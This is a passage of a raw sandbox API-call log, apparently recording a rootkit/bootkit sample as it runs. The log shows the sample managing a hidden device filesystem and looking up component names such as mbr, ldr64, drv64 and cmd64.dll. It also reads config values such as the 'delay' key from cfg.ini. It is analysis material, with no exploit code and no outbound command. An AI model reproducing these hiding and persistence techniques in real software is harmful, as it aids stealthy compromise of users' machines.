0x0 [0122.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.280] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.280] IdePortDispatch () returned 0x103 [0122.280] KeWaitForMutexObject () returned 0x0 [0122.280] KeLeaveCriticalRegion () [0122.280] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.280] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.281] KeEnterCriticalRegion () [0122.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.281] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.281] KeLeaveCriticalRegion () [0122.281] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.281] KeEnterCriticalRegion () [0122.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.281] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.281] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.281] KeLeaveCriticalRegion () [0122.281] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.281] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.281] KeEnterCriticalRegion () [0122.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.281] ExFreePoolWithTag (P=0xfffffa8003be4f00, Tag=0x0) [0122.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.281] KeLeaveCriticalRegion () [0122.281] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.281] ReleaseMutex (hMutex=0xf0) returned 1 [0122.281] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.281] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.281] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.281] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.281] KeEnterCriticalRegion () [0122.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.281] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.281] IdePortDispatch () returned 0x103 [0122.281] KeWaitForMutexObject () returned 0x0 [0122.282] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.282] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.282] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.282] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.282] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.282] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.282] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.282] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.282] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.282] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.282] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.282] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.282] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.282] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.282] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.282] KeLeaveCriticalRegion () [0122.282] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.282] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.282] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.282] KeEnterCriticalRegion () [0122.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.282] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.282] IdePortDispatch () returned 0x103 [0122.282] KeWaitForMutexObject () returned 0x0 [0122.282] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.282] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.282] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.282] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.282] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.282] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.282] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.282] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.282] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.282] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.282] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.282] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.282] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.282] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.283] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.283] KeLeaveCriticalRegion () [0122.283] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.283] ReleaseMutex (hMutex=0x100) returned 1 [0122.283] Sleep (dwMilliseconds=0x2bf20) [0122.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c15d270, dwHighDateTime=0x1d24fa4)) [0122.290] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.290] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.290] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.290] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.290] KeEnterCriticalRegion () [0122.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.290] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.290] IdePortDispatch () returned 0x103 [0122.290] KeWaitForMutexObject () returned 0x0 [0122.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.290] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.290] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.290] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.291] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.291] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3950 [0122.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.291] KeLeaveCriticalRegion () [0122.291] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.291] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.291] KeEnterCriticalRegion () [0122.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.291] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.291] KeLeaveCriticalRegion () [0122.291] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.291] KeEnterCriticalRegion () [0122.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.291] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.291] IdePortDispatch () returned 0x103 [0122.291] KeWaitForMutexObject () returned 0x0 [0122.291] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.291] KeLeaveCriticalRegion () [0122.291] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.292] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.292] KeEnterCriticalRegion () [0122.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.292] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c64000 [0122.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.292] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.292] IdePortDispatch () returned 0x103 [0122.292] KeWaitForMutexObject () returned 0x0 [0122.292] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.292] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.292] IdePortDispatch () returned 0x103 [0122.292] KeWaitForMutexObject () returned 0x0 [0122.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.292] KeLeaveCriticalRegion () [0122.292] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.293] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.293] KeEnterCriticalRegion () [0122.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.293] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.293] KeLeaveCriticalRegion () [0122.293] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.293] KeEnterCriticalRegion () [0122.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.293] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.293] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.293] KeLeaveCriticalRegion () [0122.293] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.293] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.294] KeEnterCriticalRegion () [0122.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.294] ExFreePoolWithTag (P=0xfffffa8003be3950, Tag=0x0) [0122.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.294] KeLeaveCriticalRegion () [0122.294] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.294] ReleaseMutex (hMutex=0xf0) returned 1 [0122.294] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.294] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.294] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.294] KeEnterCriticalRegion () [0122.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.294] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.294] IdePortDispatch () returned 0x103 [0122.294] KeWaitForMutexObject () returned 0x0 [0122.294] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.294] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.294] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.294] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.294] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.294] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4af0 [0122.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.294] KeLeaveCriticalRegion () [0122.294] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.295] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.295] KeEnterCriticalRegion () [0122.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.295] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.295] KeLeaveCriticalRegion () [0122.295] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.295] KeEnterCriticalRegion () [0122.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.295] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.295] IdePortDispatch () returned 0x103 [0122.295] KeWaitForMutexObject () returned 0x0 [0122.295] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.295] KeLeaveCriticalRegion () [0122.295] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.295] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.296] KeEnterCriticalRegion () [0122.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.296] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c65000 [0122.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.296] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.296] IdePortDispatch () returned 0x103 [0122.296] KeWaitForMutexObject () returned 0x0 [0122.296] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.296] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.296] IdePortDispatch () returned 0x103 [0122.297] KeWaitForMutexObject () returned 0x0 [0122.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.297] KeLeaveCriticalRegion () [0122.297] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.297] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.297] KeEnterCriticalRegion () [0122.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.297] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.297] KeLeaveCriticalRegion () [0122.297] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.297] KeEnterCriticalRegion () [0122.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.297] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.297] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.298] KeLeaveCriticalRegion () [0122.298] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.298] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.298] KeEnterCriticalRegion () [0122.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.298] ExFreePoolWithTag (P=0xfffffa8003be4af0, Tag=0x0) [0122.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.298] KeLeaveCriticalRegion () [0122.298] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.298] ReleaseMutex (hMutex=0xf0) returned 1 [0122.298] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.298] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.298] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.298] KeEnterCriticalRegion () [0122.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.298] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.298] IdePortDispatch () returned 0x103 [0122.298] KeWaitForMutexObject () returned 0x0 [0122.298] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.298] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.298] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.298] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.298] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.298] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be44e0 [0122.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 